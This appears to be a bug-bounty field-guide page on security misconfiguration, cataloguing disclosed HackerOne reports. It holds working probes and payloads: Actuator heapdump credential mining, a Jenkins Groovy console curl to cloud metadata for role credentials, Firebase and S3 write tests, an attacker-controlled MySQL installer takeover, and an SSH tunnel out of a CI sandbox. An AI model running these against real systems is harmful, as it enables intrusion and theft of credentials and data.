⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Security Misconfiguration
Vulnerabilities

Security Misconfiguration

Specimens 119No direct PortSwigger lab

§Basic information

Security misconfiguration is impact you get for free: a service, endpoint, ACL, or policy file was shipped with the wrong defaults, the wrong scope, or no authentication at all, so the control everyone assumed was there simply isn't. There is no code bug to trigger and usually no filter to bypass — the payload is a single unauthenticated GET and the impact is a JVM heap full of admin credentials, a world-writable cloud bucket, or a Groovy console that is instant RCE.

The mental shift from injection hunting: don't look for a flaw in the app, look for the door someone left open. Management endpoints exposed to the internet, dev/CI tooling on default ports, cloud ACLs that grant "authenticated" (i.e. anyone), and web servers that fall back to a permissive default all sit next to the app, not inside it. The tell is the environment, not the parameter: a bare IP, a staging./dev./internal. subdomain, or a non-standard port is a hunting ground before you've sent a single request.

§Methodology

  1. Fingerprint the host and its owner. For bare IPs, pull the TLS cert SANs / org name to attribute ownership and find sibling infra; enumerate origin IPs behind the WAF via Censys/Shodan/crt.sh.
  2. Sweep the known management paths for the stack you fingerprinted (Actuator, /script, /v2/, /.json, phpinfo) and watch for a 200 where a 401/404 belonged.
  3. Read the response code and body, not clever payloads — a JSON blob, a heap binary, a catalog listing, or a stack trace is the finding.
  4. Recover names from what leaks — bucket names from object URLs, internal vhost names from config, custom management paths from error pages — then re-probe.
  5. Prove impact, don't stop at exposure. Mine the heapdump for creds, list and download the bucket, replay the leaked token — an already-invalidated token downgrades the finding to info-only.
  6. Test all three ACL modes for cloud storage — anonymous, authenticated-read, authenticated-write — because "authenticated" write can succeed without list, and an anonymous test misses AuthenticatedUsers.
# Attribute a bare IP and find its neighbours before probing echo | openssl s_client -connect TARGET:443 2>/dev/null | openssl x509 -noout -text | grep -A1 'Subject Alternative Name' # Origin IPs behind a WAF: censys.io/ipv4?q=TARGET · shodan · crt.sh

§Exposure contexts

Find which class the target falls into, then probe with the matching sweep. In every case the confirming signal is a status code or a body that should not be reachable.

Framework management & debug endpoints

Spring Boot Actuator, Django debug, and PHP debug bars leak config and secrets to an unauthenticated GET. /heapdump is the crown jewel — it dumps the whole JVM heap, so it yields the same credentials, cookies, and JWT signing secrets even when /env is locked down.

# Spring Boot Actuator sweep — a 200 JSON/heap body is the finding for p in actuator/heapdump actuator/env actuator/configprops actuator/trace actuator/mappings \ env dump trace configprops beans metrics autoconfig routes; do curl -s -o /dev/null -w "%{http_code} $p\n" "https://TARGET/$p" done # Relocated != secured — brute custom management prefixes: # /manage/heapdump /admin/actuator/heapdump /<custom>/heapdump strings heapdump | grep -Ei 'password|secret|token|cookie|jwt' # then mine it

Django DEBUG=True and left-on PHP debug tooling turn any error into full config disclosure.

curl -s "https://TARGET/nonexistent%00" | grep -Ei 'Traceback|SECRET_KEY|DATABASES|phpdebugbar'

Unauthenticated dev / CI / ops tooling

Jenkins, SonarQube, Docker Registry, RabbitMQ, Grafana, Portainer, Sidekiq/Flower are routinely left open on default ports with no auth. A single reachable Groovy console or writable registry is game over.

# Jenkins — /script Groovy console reachable unauth == instant RCE curl -s "https://TARGET/script" -o /dev/null -w "%{http_code}\n" # 200 == RCE # then in the console: "id".execute().text # Docker Registry v2 — 200 on /v2/ (not 401+WWW-Authenticate) is the whole finding curl -s "https://TARGET/v2/" # 200 == open curl -s "https://TARGET/v2/_catalog" # full image list -> pull -> mine for secrets # SonarQube on the default port leaks source + contributor emails (Issues > Author) # Shodan: http.title:"SonarQube" port:9000 -> http://TARGET:9000/projects

Cloud storage & backend ACLs

Recover the bucket name from any user-visible object URL, then test the ACL three ways. AuthenticatedUsers is the trap: it means every AWS account on earth, so an anonymous curl says "private" while your own free AWS creds get full CRUD.

aws s3 ls s3://TARGET-bucket --no-sign-request # AllUsers (public) aws s3 ls s3://TARGET-bucket # AuthenticatedUsers (any AWS acct) aws s3 cp ./canary.txt s3://TARGET-bucket # blind write (may succeed without list)

Firebase: the apiKey in client JS is public-by-design and not the bug — append /.json to the databaseURL to test the security rules. Open rules = arbitrary read/write.

# firebaseConfig in page source -> databaseURL: https://PROJECT.firebaseio.com curl "https://PROJECT.firebaseio.com/.json" # read test curl -X PUT -d '{"attacker":"pwn"}' "https://PROJECT.firebaseio.com/poc.json" # write test

Web-server & vhost misconfig

A misconfigured handler serves interpreted files as plaintext source; a shared/wildcard cert plus a permissive default vhost lets a DNS attacker impersonate another host without a cert warning.

# Interpreter not wired up -> raw source disclosed (SAML/DB config in the clear) curl "https://TARGET/app/plugins/PLUGIN/config/config.php" # PHP returned verbatim == misconfig # TLS default-vhost confusion: DNS points VICTIM -> a server B sharing the cert curl -sk https://SERVER_B/secret -H "Host: victim.com" # B answers foreign Host from its default vhost

WAF / CDN perimeter bypass via origin IP

Perimeter protection is void the moment the real origin IPs leak. Connect straight to the origin and spoof the Host header to reach internal-only vhosts (Grafana, PgHero, Kibana) that assume the network is trusted.

# origin IP from Censys/crt.sh, then route to a hidden internal vhost curl -sk https://ORIGIN_IP/ -H "Host: pghero.internal.TARGET" # Burp Match&Replace: Host: ORIGIN_IP -> Host: pghero.internal.TARGET

Cross-domain & trust policy files

A wildcard crossdomain.xml becomes exploitable the instant you can host active content (a .swf) on a covered subdomain. A postMessage origin check done with a suffix/slice comparison — no dot boundary — is bypassed by registering a lookalike host.

// vulnerable listener: t.hostname.slice(-e.hostname.length) === e.hostname // 'badexample.com'.slice(-'example.com'.length) === 'example.com' => true // register badexample.com, then from it: targetWindow.postMessage({type:'App.Modal.open', url:'https://COLLAB/login'}, '*');

Left-over installers & half-deployed apps

An installer or setup wizard left reachable is full admin without any target credentials, because the wizard trusts attacker-supplied config. A CMS installer that lets you point it at your own database is a bring-your-own-DB path to admin → RCE.

# WordPress half-install still serving the DB wizard # http://TARGET/old/wp-admin/setup-config.php -> enter attacker MySQL host/user/pass, # finish install, log in at /old/wp-login.php as admin -> theme/plugin editor RCE curl -s "https://TARGET/old/wp-admin/setup-config.php" | grep -i 'setup-config\|database'
▸ TIP
Recover names from everything that leaks. A user-visible S3 object URL leaks the bucket name; an error page leaks the relocated actuator path; a cert SAN leaks sibling hostnames; SonarQube's Issues > Author leaks employee emails that attribute a bare-IP host to its owner. Each leaked name is the seed for the next probe.

§Bypasses

Filter / controlBypassSeen in
Vendor scanner on default actuator pathendpoints relocated to a custom path but still unauth — brute /manage/, /admin/actuator/#838635
/env access-restrictedpull /heapdump — the heap holds the same creds/cookies/JWT secret even when the info endpoint is locked#838635, #783360
WAF / CDN perimeterhit the leaked origin IP directly and spoof Host: to reach internal-only vhosts#687908
S3 "private" per anonymous testAuthenticatedUsers ACL passes anonymous curl; re-test with your own AWS creds (write may work without list)#129381, #172549
Secured Docker Registry expected200 on /v2/ (not 401+WWW-Authenticate) = open; POST /blobs/uploads/ UUID = writable/poisonable#924487, #347296
postMessage origin checksuffix / slice(-len) match without a dot boundary — badexample.com passes for example.com#387279
TLS SNI / valid certshared/wildcard cert + DNS control → server answers a foreign Host from its default vhost (SSL3 strips SNI)#501
Strict CSP img-src allowlistdangling <img src=…GA/collect?ea=> exfils secrets via a CSP-allowed echoing endpoint, no JS#199779
Jenkins SSO loginOAuth misconfigured to accept any Google account → Script Console RCE#258117, #231460
Firebase apiKey "protects" the DBapiKey is public-by-design; append /.json to prove the open rules are the bug#1447751, #684099
WebView host-only allowlistscheme not validated → javascript://host/%0a…# with a # fragment absorbing the appended query param#3475626
Nginx PHP handlerrequest the raw config path; the interpreter isn't wired up so .php is served as plaintext source#268382
▲ WARNING
Exposure is not impact. A 200 on /heapdump or a listable bucket only closes as resolved once you extract something that matters — live credentials, a replayable session token, real user data. Leaked tokens that were already invalidated, or an empty bucket, downgrade a "critical" to informative. Always replay the token and download the object (#838635).

§Escalation & impact

Misconfiguration is almost always the first link, not the whole chain:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 119 in this class.

Real-world example

Open S3 bucket exposes app source & config

◆ Critical
Specimen #404822 · security · 1500 · 321 votes · resolved
Program securitySurface cloudTag cloud-aws

Root cause

A publicly listable/readable S3 bucket hosted iOS test-build source code, configuration, and test data.

Method

  1. Guess/enumerate bucket names from app, org, and CI naming conventions
  2. Test anonymous LIST/GET
  3. Download source/config; grep for secrets
aws s3 ls s3://<guessed-bucket> --no-sign-request

Insight — Test-build and CI artifact buckets are frequently world-readable; derive names from app identifiers and enumerate.

Real-world example

Spring Boot Actuator /heapdump & /env exposed (incl. custom paths)

◆ Critical
Specimen #838635 · line · 12500 · 233 votes · resolved
Program lineSurface webChain heapdump -> leaked admin creds/session tokens -> accouTag account-takeover

Root cause

Spring Boot Actuator management endpoints (/heapdump, /env, /trace, /mappings) left publicly reachable without access control; /heapdump dumps the JVM heap containing admin credentials, user tokens and cookies.

Method

  1. Enumerate Actuator endpoints on the target and any custom management path (endpoints can be relocated to a non-default path to evade internal scanners).
  2. Fetch /env and /configprops for secrets and config; fetch /heapdump to download the full JVM heap.
  3. Parse the heapdump (Eclipse MAT / strings) for admin credentials, session tokens and cookies.
  4. Replay leaked tokens/cookies to take over accounts (old tokens were not invalidated -> replay).
GET /actuator/heapdump HTTP/1.1 GET /actuator/env HTTP/1.1 # also try relocated paths, e.g.: GET /manage/heapdump /admin/actuator/heapdump /<custom>/heapdump

Insight — Actuator being on a non-standard/custom path does NOT make it safe; brute-force management paths. /heapdump is a credential goldmine even when /env is locked down. Always test whether leaked tokens are still valid (missing invalidation = replay).

Real-world example

Spring Boot actuator /heapdump credential & JWT-secret dump

◆ Critical
Specimen #783360 · stripo · none · 158 votes · resolved
Program stripoSurface webTag cloud-awsTag jwt

Root cause

Spring Boot Actuator endpoints exposed unauthenticated to the internet; /actuator/heapdump downloads a full JVM heap containing secrets, DB creds, session/JWT tokens and the JWT signing key.

Method

  1. Probe for /actuator (and prefixes like /cabinet/stripeapi/actuator) on every microservice/subdomain
  2. GET /actuator/heapdump to download the JVM heap
  3. Open dump in Eclipse MAT / VisualVM and grep strings for 'password','secret','jwt','Authorization','aws'
  4. Recover the JWT signing key and forge admin tokens for full ATO
GET /actuator/heapdump HTTP/1.1 Host: TARGET # also try: /actuator, /actuator/env, /actuator/mappings, /cabinet/stripeapi/actuator/heapdump

Insight — Whenever a target runs Spring Boot, always enumerate /actuator/* across every service; heapdump/env/mappings turn a config leak into forged-JWT account takeover.

Real-world example

Exposed WordPress setup-config.php -> point install at attacker MySQL -> RCE

◆ Critical
Specimen #1626205 · deptofdefense · 1000 · 102 votes · resolved
Program deptofdefenseSurface webChain exposed installer -> attacker DB -> WP admin -> plu

Root cause

A half-installed WordPress leaves /wp-admin/setup-config.php reachable. The installer lets the visitor supply ARBITRARY database credentials, so an attacker points it at their own remote MySQL, completes install, and becomes admin of a WordPress running on the victim host (-> plugin/theme editor RCE).

Method

  1. Discover an un-finished WP install (e.g. /old/wp-admin/setup-config.php, /blog/, /wp/) returning the DB setup wizard.
  2. Stand up an attacker-controlled MySQL reachable from the target (e.g. free MySQL hosting).
  3. Enter attacker DB host/user/pass in the wizard and finish installation, setting your own admin creds.
  4. Log in at /wp-login.php as admin; use Appearance/Plugin editor or a malicious plugin to get code execution on the victim server.
# target http://TARGET/old/wp-admin/setup-config.php # DB config supplied to wizard: DB Host: attacker-mysql.example.net DB User/Pass: attacker-controlled # then admin login: http://TARGET/old/wp-login.php

Insight — Any CMS installer left exposed = full admin without touching the real DB, because the installer trusts attacker-supplied DB creds. Always probe for setup/install wizards (setup-config.php, /install.php, /installer/). Admin of on-host WordPress -> RCE via theme/plugin editor.

Real-world example

Unauthenticated Docker Registry v2 -> image dump & poison (via sandbox pivot)

◆ Critical
Specimen #347296 · semmle · awarded · 82 votes · resolved
Program semmleSurface cloudChain Malicious CI config -> reverse shell -> SSH tunnel -&gTag cloud-awsTag supply-chain

Root cause

A Docker Registry HTTP API v2 runs on :5000 over HTTP with no authentication, allowing anyone with network access to enumerate/pull images and initiate blob uploads (poison images). Here it was reachable by pivoting out of the CI build sandbox via a reverse shell + SSH tunnel.

Method

  1. Gain code exec in the build sandbox (malicious .lgtm.yml -> reverse shell)
  2. Open a remote SSH tunnel from the sandbox to the internal registry: ssh -R 5555:172.17.0.1:5000 attacker@host
  3. Point docker_fetch at http://127.0.0.1:5555 to enumerate and pull repositories
  4. Test writes: initiate a blob upload (/v2/<name>/blobs/uploads/) - a returned UUID confirms unauthenticated push (poisoning)
# enumerate/pull\nGET http://REGISTRY:5000/v2/_catalog\nGET http://REGISTRY:5000/v2/lgtm/top/tags/list\n# poison test\nPOST http://REGISTRY:5000/v2/<name>/blobs/uploads/ # 202 + uuid == writable

Insight — On any internal foothold, scan :5000 (and 2375/2376) for open Docker Registry/daemon. /v2/_catalog with no auth = full image read; a successful blob-upload initiation = image poisoning -> supply-chain RCE. CI build containers are a prime pivot into such internal services.

Real-world example

Default admin/admin on internet-exposed appliance

◆ Critical
Specimen #2160178 · trellix · none · 74 votes · resolved
Program trellixSurface webTag account-takeover

Root cause

An exposed management interface ships with unchanged default credentials, granting administrator access.

Method

  1. Reach the exposed appliance login (bare IP)
  2. Try admin/admin (and other vendor defaults)
  3. Log in as default-org administrator
username=admin password=admin

Insight — For any exposed appliance/management portal, always try vendor default credentials before anything else; a critical can be one guess away.

Real-world example

Unauthenticated Jenkins /script Groovy console RCE + IMDS pivot

◆ Critical
Specimen #403402 · ui · awarded · 74 votes · resolved
Program uiSurface webChain Exposed Jenkins -> /script Groovy console -> OS RCE -&Tag cloud-aws

Root cause

A Jenkins instance was exposed to the internet with the Groovy /script console reachable without authentication, allowing arbitrary Groovy/OS command execution and pivot to the cloud metadata service.

Method

  1. Discover the exposed Jenkins host (identify via TLS cert SANs)
  2. Browse to /script (or /script/)
  3. Run Groovy to exec OS commands: "ls /".execute().text
  4. Pivot to AWS IMDS to steal instance-role credentials
"ls /".execute().text "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/".execute().text

Insight — Always probe exposed Jenkins for /script, /manage, /systemInfo; the Groovy console = instant RCE. On cloud hosts immediately pivot to 169.254.169.254 IMDS for role creds. Fingerprint ownership via SSL cert SANs when the host is a bare IP.

Real-world example

Public Spring Boot actuator endpoints via API gateway

◆ Critical
Specimen #1022048 · semrush · awarded · 59 votes · resolved
Program semrushSurface api

Root cause

In a microservice/API-gateway architecture, individual services expose Spring Boot Actuator endpoints; the gateway routes to them without stripping /actuator, leaving management endpoints publicly reachable and leaking internal tokens/service data.

Method

  1. Enumerate service path prefixes routed by the gateway (e.g. /service-xyz/)
  2. Append /actuator/ and known actuator routes (env, health, mappings, heapdump, configprops)
  3. Read exposed internal tokens/config from the responses
GET https://TARGET/service-xyz/actuator/ GET https://TARGET/service-xyz/actuator/env GET https://TARGET/service-xyz/actuator/heapdump GET https://TARGET/service-xyz/actuator/mappings

Insight — Behind an API gateway, test each discovered service prefix for /actuator; a gateway that fixes one service does not fix the others. env/heapdump/configprops leak secrets.

Real-world example

World-writable Firebase Realtime DB via /.json

◆ Critical
Specimen #684099 · x · awarded · 49 votes · resolved
Program xSurface cloudTag cloud-gcp

Root cause

A Firebase Realtime Database had default/open security rules allowing unauthenticated read and write from any client.

Method

  1. Find the Firebase DB URL (from mobile app/JS bundle/network traffic)
  2. Append /.json to the database URL and GET to test read
  3. PUT/POST JSON to test write; a successful insert confirms open write rules
# read test curl 'https://<project>.firebaseio.com/.json' # write test curl -X PUT -d '{"poc":"test"}' 'https://<project>.firebaseio.com/poc.json'

Insight — For any app using Firebase, extract the DB hostname and probe <db>/.json for read and a scratch path for write. Open rules are extremely common and mean full data read/tamper.

Real-world example

ACME TLS-SNI-01 domain validation abused on shared hosting to mint certs for others' domains

◆ Critical
Specimen #304378 · ibb · none · 35 votes · resolved
Program ibbSurface webChain shared-hosting tenant -> answer ACME TLS-SNI challenge -&

Root cause

The ACME TLS-SNI-01/02 challenge proves control by serving a special self-signed cert for a magic SNI name; on shared hosting a tenant can upload arbitrary certs for arbitrary SNI names, so an attacker answers the challenge for domains they don't own but that resolve to the same shared IP.

Method

  1. Be a tenant on a shared-hosting IP that also serves the victim domain
  2. Start an ACME order for the victim domain to get the TLS-SNI challenge token
  3. Upload a cert/vhost matching the challenge SNI (<token>.acme.invalid) on the shared IP
  4. ACME connects to the shared IP, gets your cert, validates -> issue a valid cert for the victim domain
# TLS-SNI-01: serve self-signed cert with SAN = <SHA256token>.<token>.acme.invalid # on a shared-hosting account that answers TLS for the target IP

Insight — Domain-validation methods that rely on serving content on a shared IP (TLS-SNI, and by analogy HTTP-01 on shared vhosts) can be subverted where tenants control TLS/vhost config for arbitrary names. When testing ACME/DV integrations, ask: can a co-tenant answer the challenge? (Led Let's Encrypt to sunset TLS-SNI.)

Real-world example

Public Tomcat /examples/ servlet directory

◆ Critical
Specimen #674741 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface web

Root cause

Default Apache Tomcat /examples/ directory left reachable exposes demo servlets (SessionExample, CookieExample, RequestHeaderExample) that manipulate shared session state and leak internal data.

Method

  1. Request /examples/servlets/ to confirm the demo app is deployed
  2. Hit SessionExample to read/manipulate session attributes (global session risk)
  3. Hit RequestHeaderExample for internal IP/header disclosure
  4. Note source-code disclosure and an 'Execute' option
GET /examples/servlets/servlet/SessionExample GET /examples/servlets/servlet/RequestHeaderExample GET /examples/servlets/servlet/CookieExample

Insight — Fingerprint Tomcat then always probe /examples/, /manager/, /host-manager/, /docs/ - shipped demo apps are a reliable low-effort finding and SessionExample can escalate via shared session state.

Real-world example

Unauthenticated SonarQube exposes source code and contributor identities

◆ Critical
Specimen #947946 · other · none · 21 votes · resolved
Program otherSurface webChain exposed SonarQube -> source code + internal API keys/IPs Tag cloud-aws

Root cause

A SonarQube instance is deployed with anonymous access enabled, exposing project source, issues and contributor emails to anyone on the internet.

Method

  1. Find SonarQube on the default port (Shodan/masscan for :9000, title 'SonarQube')
  2. Browse Projects to read leaked source
  3. Use Issues tab -> filter by Author to enumerate contributor emails and attribute the owning organization
http://TARGET:9000/ # dashboard, no login http://TARGET:9000/projects # source of every project # Shodan: http.title:"SonarQube" port:9000

Insight — Dev/CI tooling (SonarQube, Jenkins, GitLab, SonarCloud, Grafana) is routinely left open on default ports. SonarQube's Issues>Author list is a fast attribution primitive: employee emails reveal the true owner even when the host IP is anonymous.

Real-world example

HTTP PUT enabled -> arbitrary file write, readable via GET

◆ Critical
Specimen #487656 · ratelimited · none · 19 votes · resolved
Program ratelimitedSurface web

Root cause

The web server/storage backend accepts HTTP PUT to arbitrary paths, letting an attacker upload files that are then served back on GET (content injection / potential script upload).

Method

  1. Send OPTIONS to enumerate allowed methods
  2. PUT a test file to a chosen path
  3. GET the same path to confirm the written content is served
PUT /codeslayer137.txt HTTP/1.1 Host: TARGET Content-Length: 21 Testing CodeSlayer137 # then: GET /codeslayer137.txt -> returns the uploaded body

Insight — Enumerate HTTP methods on every host; PUT/DELETE/WebDAV often survive on origin/storage tiers. A writable path served on GET is at minimum stored content/XSS and at worst web-shell upload.

Real-world example

Exposed Firebase config + world-writable Realtime Database rules

◆ Critical
Specimen #1447751 · mtn_group · none · 15 votes · resolved
Program mtn_groupSurface cloudChain config disclosure in JS -> open Realtime DB rules -> aTag cloud-gcp

Root cause

Client JS exposes the full Firebase config (apiKey, databaseURL); combined with default/insecure Realtime Database rules, anyone can read and write the database via the REST /.json interface.

Method

  1. View page source / JS for firebaseConfig (apiKey, databaseURL, projectId).
  2. Test read: GET https://<project>.firebaseio.com/.json (or any node /poc.json).
  3. Test write: curl -X PUT with a JSON body; success proves open rules.
# from firebase-config.js: databaseURL: https://mtn-pulse-uganda.firebaseio.com curl 'https://mtn-pulse-uganda.firebaseio.com/.json' # read curl -X PUT -d '{"attacker":"maliciousdata"}' 'https://mtn-pulse-uganda.firebaseio.com/poc.json' # write

Insight — Firebase apiKey in JS is not itself the bug - always append /.json to the databaseURL to test the DB security rules. Open rules = full read/write. Same pattern applies to exposed Firestore, storage buckets, and appspot storage URLs.

Real-world example

Unconfigured Portainer setup takeover -> Docker container RCE

◆ Critical
Specimen #1332433 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webChain exposed Portainer -> admin claim -> container exec -&g

Root cause

A freshly deployed Portainer instance with no admin set lets the first visitor create the admin account (setup race), granting full control of the Docker daemon and exec-into-container shells.

Method

  1. Find exposed Portainer (default port 9000)
  2. If setup is uninitialized, create the admin account
  3. Use the container console to run arbitrary bash in each container
# browse http://TARGET:9000 -> create admin:password -> Containers -> Console -> exec /bin/bash

Insight — Probe :9000 (Portainer), :2375 (Docker API), :8080 (K8s dashboards) on hosts. Unclaimed admin-setup pages are instant takeover; Portainer/ELK/Grafana first-run flows should always be tested.

Real-world example

Open Jenkins: any-Google-account login -> Script Console RCE

◆ High
Specimen #231460 · snapchat · 15000 · 436 votes · resolved
Program snapchatSurface webChain permissive SSO -> Jenkins access -> Script Console RCE

Root cause

A production Jenkins accepted login from any valid Google account (over-broad OAuth), granting access to API tokens, source, and the Groovy Script Console (RCE).

Method

  1. Find exposed CI (jenkins.*, /login)
  2. Test permissive SSO: any Google/Okta account may authenticate
  3. Once in, pull credentials, read job configs, use /script (Script Console) for RCE
// Jenkins Script Console println "id".execute().text

Insight — Exposed CI with 'anyone with a Google account' auth is effectively public; the Script Console turns read access into RCE. Always test SSO breadth on internal tooling.

Real-world example

Exposed remote-management (KVM-over-IP) device with no auth

◆ Critical
Specimen #2633988 · deptofdefense · none · 41 votes · resolved
Program deptofdefenseSurface networkTag account-takeover

Root cause

A TinyPilot KVM-over-IP device attached to a workstation is published to the internet with no authentication, giving anyone full screen view and keyboard/mouse control.

Method

  1. Recon for exposed management-interface fingerprints (TinyPilot/IPMI/iDRAC/VNC/KVM banners) on target IP ranges.
  2. Open the web interface; if it loads a live session with no login, you have full control.

Insight — Beyond web apps, hunt exposed out-of-band management (KVM-over-IP, IPMI, VNC, iLO/iDRAC, TinyPilot) via Shodan/Censys and port scans. These often ship auth-off and grant hardware-level control of a real workstation.

Real-world example

Exposed Grafana with anonymous/guest access

◆ High
Specimen #663628 · snapchat · 10000 · 463 votes · resolved
Program snapchatSurface web

Root cause

A production Grafana instance permitted guest/anonymous viewing, exposing hundreds of internal dashboards (and a datasource module vulnerable to SQLi).

Method

  1. Fuzz subdomains/hostname patterns for monitoring tools (grafana, kibana, metrics.*)
  2. Load / and /login; test anonymous access and default org
  3. Enumerate dashboards; probe custom datasource/query panels for SQLi

Insight — Monitoring stacks (Grafana/Kibana/Prometheus) are commonly left with anonymous viewing enabled; dashboards leak infra internals and custom query panels can be injectable.

Real-world example

Exposed Sentry store endpoint renders internal debug info

◆ High
Specimen #697512 · other · 750 · 177 votes · resolved
Program otherSurface web

Root cause

A publicly reachable Sentry error-tracking store API (/api/N/store) could be driven to render internal debug/server information.

Method

  1. Fingerprint error-tracking tooling (Sentry endpoints /api/<id>/store)
  2. Probe the store/render endpoints for a rendered debug UI
  3. Read leaked server/stack/debug details
POST /api/20/store... HTTP/1.1 (then use the Render view)

Insight — Self-hosted Sentry/error-tracking instances left exposed leak stack traces, server internals and config. Enumerate them as part of debug-surface recon.

Real-world example

Nginx misconfig serves PHP config file as plaintext source

◆ High
Specimen #268382 · gsa_bbp · awarded · 145 votes · resolved
Program gsa_bbpSurface web

Root cause

A path/location not routed through the PHP handler (plugin/config dir) causes nginx to return .php files as static text, disclosing source code and any embedded secrets.

Method

  1. Enumerate .php files under plugin/config/vendor paths
  2. Request them directly and check if the body is raw PHP source rather than executed output
  3. Harvest DB creds / API keys / SAML secrets from the source
GET https://TARGET/app/plugins/<plugin>/config/config.php

Insight — Config/backup/plugin directories are often excluded from the PHP handler - request .php, .inc, .bak, .php~ directly and diff executed vs. raw-source responses to pull source and secrets.

Real-world example

Apache /server-status reachable by connecting to the raw IP

◆ High
Specimen #2473173 · pixiv · awarded · 144 votes · resolved
Program pixivSurface web

Root cause

mod_status /server-status is restricted by Host/vhost rules but not by IP; hitting the backend's direct IP serves the admin status page exposing internal request logs, client IPs, and URLs.

Method

  1. Resolve the origin/backend IP (DNS history, cert SANs, Shodan)
  2. Request https://<IP>/server-status directly (bypassing CDN/vhost)
  3. Read live worker table: internal URLs, client IPs, request logs
GET /server-status HTTP/1.1 Host: <origin-ip>

Insight — Access controls keyed to the vhost/Host header often fail when you reach the origin by raw IP. Always retest admin endpoints (/server-status, /server-info, actuator, metrics) directly against discovered backend IPs.

Real-world example

Static WebView header field persists cookies across loads + javascript: scheme WebView bypass

◆ High
Specimen #3475626 · linkedin · awarded · 125 votes · resolved
Program linkedinSurface mobile-androidChain deep-link scheme bypass -> JS interface -> open vulnerTag account-takeover

Root cause

An Android WebView fragment stores per-request Cookie headers in a STATIC ArrayMap (CUSTOM_HEADERS) that is never cleared between loadUrl calls, so first-party cookies added for linkedin.com are re-sent to a later attacker-controlled URL loaded in the same fragment.

Method

  1. Reach the verification WebView via deep link (host allowlisted but scheme not validated).
  2. Inject JS with the javascript: scheme, closing the appended renderContext param inside a string via a fragment (#) so the resulting URL is valid JS.
  3. Use the exposed JS interface to open the vulnerable WebViewerFragment on linkedin.com (loads first-party cookies into static CUSTOM_HEADERS).
  4. Have the fragment then load an attacker URL; the still-present LinkedIn Cookie header is sent to the attacker origin -> session cookie exfiltration.
# deep link, scheme not validated -> execute JS: javascript://www.linkedin.com/%0aalert('1#') # after app appends ?renderContext=... it becomes valid JS: javascript://www.linkedin.com/%0aalert('1?renderContext=trustVerificationDeeplink#')

Insight — Static/singleton fields holding request headers or cookies are a state-bleed bug: inspect decompiled Android WebView code for `static` header maps not reset per navigation. For WebView URL allowlists, test the javascript: scheme when only the host is validated; use a fragment (#) to neutralize appended query params.

Real-world example

Exposed Celery Flower dashboard -> task/worker control and RCE surface

◆ High
Specimen #2264960 · exness · awarded · 96 votes · resolved
Program exnessSurface apiChain Exposed Flower -> async-apply task dispatch -> code ex

Root cause

A Celery Flower monitoring instance was reachable on a public route with the unauthenticated API enabled, exposing task/worker data and control endpoints (including async task apply, a code-execution surface).

Method

  1. Discover a /flower/ path (often behind a mobile/PIM reverse-proxy route)
  2. Hit the JSON API unauthenticated to enumerate workers/tasks
  3. Note control endpoints: revoke/terminate tasks, shutdown workers, and /api/task/async-apply/* (arbitrary task dispatch)
GET /pim/flower/api/workers GET /pim/flower/api/tasks GET /pim/flower/api/task/info/<task-id> # control surface (do not run on prod without authorization): # POST /pim/flower/api/task/async-apply/<task-name> # mitigation: flower_unauthenticated_api=false

Insight — Fingerprint exposed ops dashboards on odd sub-paths (/flower, /celery, plus Kibana/Grafana/Actuator). Flower with flower_unauthenticated_api on lets you enumerate and manipulate the job queue and, via async-apply, potentially execute registered tasks -> DoS or RCE.

Real-world example

Default credentials on staging admin panel

◆ High
Specimen #686015 · railto · none · 66 votes · resolved
Program railtoSurface webTag subdomain-takeover

Root cause

A staging subdomain exposed /admin with default credentials (admin/password) granting full administrative access.

Method

  1. Enumerate subdomains (staging.*, dev.*, uat.*)
  2. Browse to /admin or other login panels
  3. Try default/weak creds admin/password, admin/admin, etc.
https://staging.TARGET.com/admin -> admin : password

Insight — Staging/dev subdomains routinely ship with seeded default admin accounts. Enumerate non-prod hosts and try default creds against every admin/login panel.

§References & practice

  1. No dedicated PortSwigger lab for this class; use the methodology above and the cited reports.
  2. All 119 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.